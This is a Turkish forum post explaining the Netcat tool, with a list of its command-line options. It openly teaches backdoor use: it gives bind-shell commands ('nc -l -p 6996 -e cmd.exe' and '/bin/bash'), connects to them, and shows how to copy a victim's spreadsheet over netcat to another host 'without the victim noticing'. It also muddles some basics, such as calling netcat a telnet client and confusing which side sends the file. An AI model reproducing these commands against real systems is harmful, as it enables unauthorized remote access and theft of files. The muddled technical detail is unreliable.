Hoşgeldin Misafir

NetCat Nedir ?

G0KD3N1Z

27 Nis 2021
39 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Selamın Aleyküm, Netcat nedir ne işe yarar bununla neler yapabiliriz bu makalede bunları anlatacam.-

Netcat bi telnet clientidir. İlk çıktığı zamanlar Unix işletim sistemlerinde-

kullanılıyordu, zamanla windows kullanıcıları içinde uygun hale getirildi. Bu programı-

nelerde kullabiliriz derseniz bi serverda yada sistemde diyelim backdoor yani arka kapı açıp arka kapıdan içeri girmemize yani o servera bağlanmamız için yardımcı programdır.-

Bi serverda 21 portunu açtığınızda kendi makinanızdan o servera bağlanmak için;-
Başlat/Çalıştır/nc –v –l –p <21> yazıp bağlanabilirsiniz.-
veya Başlat/Çalıştır/nc -vv -l -p <21> yazıp bağlanabilirsiniz-
Ben nc -vv -l -p Kullanıyorum Root Videolarıma Baktıysanız Görebilirsiniz zaten -


                                                                               80 Portunu kullanarak bir server’a bağlanalım-

                                                                                       nc BağlanacağımızServer Portumuz-
                                                                                               nc 192.168.1.105 80-
[img=868x280]https://i.hizliresim.com/jvg9Gj.jpg[/img]

Bu bize 192.168.1.105 adresindeki web sunucusuna varsayılan bir TCP bağlantısı, (port 80) verir. bize verileri web sunucusuna doğrudan gönderilir.-

Şimdi netcat ile backdoor oluşturalım-



Windows Kullanıyorsak;

nc -l -p 6996 -e cmd.exe-


Linux Kullanıyorsak;-

nc -l -p 6996 -e / bin / bash-


Daha sonra kendi makinanızda;-

nc KarşıMakınaIp 6996-

nc 192.168.1.105 6996-

Bu komut karşı makinayla aranızda bir bağlantı sistemi açacaktır.-


[img=868x768]https://i.hizliresim.com/yA6Bby.jpg[/img][/CENTER]

Karşı Serverdaki Dosyaları Kendi Sistemimize Kopyalama İşlemi;-


Bağlandığımız 6996 port sayesinde kurbanın sisteminde bulunan dosyaları kurban fark etmeden kendi makinamıza alabiliriz bunun için-


type financialprojections.xls | nc 192.168.1.104 6996 komutu kendi makinamızda girerek bu işi halledebiliriz bu komutla karşı makinadaki "financialprojections.xls" excel dosyasını kendi makinamıza indireceğiz.-



[img=868x280]https://i.hizliresim.com/316rBA.jpg[/img][/CENTER]
Karşı Servera Gireceğimiz Komut;-

nc -l -p 6996 > financialprojections.xls-




Dosyanın karşı makinaya port 6996 üzerinden kurduğumuz netcat bağlantısı üzerinden bizim makinamızda kopyaladığı yeri görebiliriz.-



Anlattıklarım sadece bu programla neler yapabileceğinizin örneğidir. -Diğer Netcat Komutları;-

-l: (listen mode) dinleme modu-

-L: (Listen harder) Netcat’in sadece windows için hazırlanan sürümlerinde geçerlidir. Client tarafı connection’ı sonlandırsa bile dinleme modunu tekrar başlatır. Böylece Netcat’i ısrarlı bir dinleyici haline getirmiş olur.-

-u: (UDP mode) ön tanımlı olarak TCP gelir. Bunun yerine UDP kullanmak için bu opsiyonu kullanabiliriz.-

-p: (Local port) Listen modundayken dinlenen portun, client modundayken tüm paketlerin gönderileceği kaynak portun belirtildiği opsiyondur.-

-e: Eğer connection olursa sonrasında program çalıştığında STDIN ve STDOUT ile iletişim kurmak için kullanılan opsiyondur.-

-n: DNS lookup’larda diğer tarafın makinelerinin isimlerinde değişikliklik/oynama olamaması için kullanılacak opsiyon.-

-z: Zero-I/O modudur. Herhangibir datanın yollanmamasıdır. Sadece payload dışında bir paketin yollanması için kullanılan opsiyondur.-

-wN: Connection’ın timeout olması yani süresinin dolması halinde STDIN kapandıktan sonra N saniye daha beklenir. Bir Netcat client ya da listener’ı bu opsiyon ile yeni bir connection açmak için N saniye bekleyecektir. Eğer bu süre içinde yeni bir connection oluşmazsa Netcat çalışmayı durduracaktır.-

-v: (Be verbose) Connection sırasında Standard Error’da olan mesajların ayrıntılı biçimde yazılmasını söyleyen opsiyondur.-

-vv: (Be very verbose) Standard Errror’da -v opsiyonundan daha daha fazla detaylı yazılmasının söylendiği opsiyonel durumdur.-

Opsiyon çeşitlerimiz bunlardı. Şimdi opsiyonları anlatırken Client ve Listener modlarından bahsetmiştik onların temel ifade edilişlerini inceleyelim:-

– Temel Netcat Client:-

$ nc [Hedef IP adresi] [Port]-

Burada client modda hedef IP üzerindeki istenilen portta bir connection başlatmış oluruz.-

– Temel Netcat Listener-

$ nc -l -p [Local Port]-

Burada listener modunda istenilen yerel portta bir Netcat Listener’ı oluşturmuş oluruz.-

Hem client hem de listener modda veri STDIN’den alınır ve network’den STDOUT’a verilir.-

Umarım Yararlı Olmuştur...-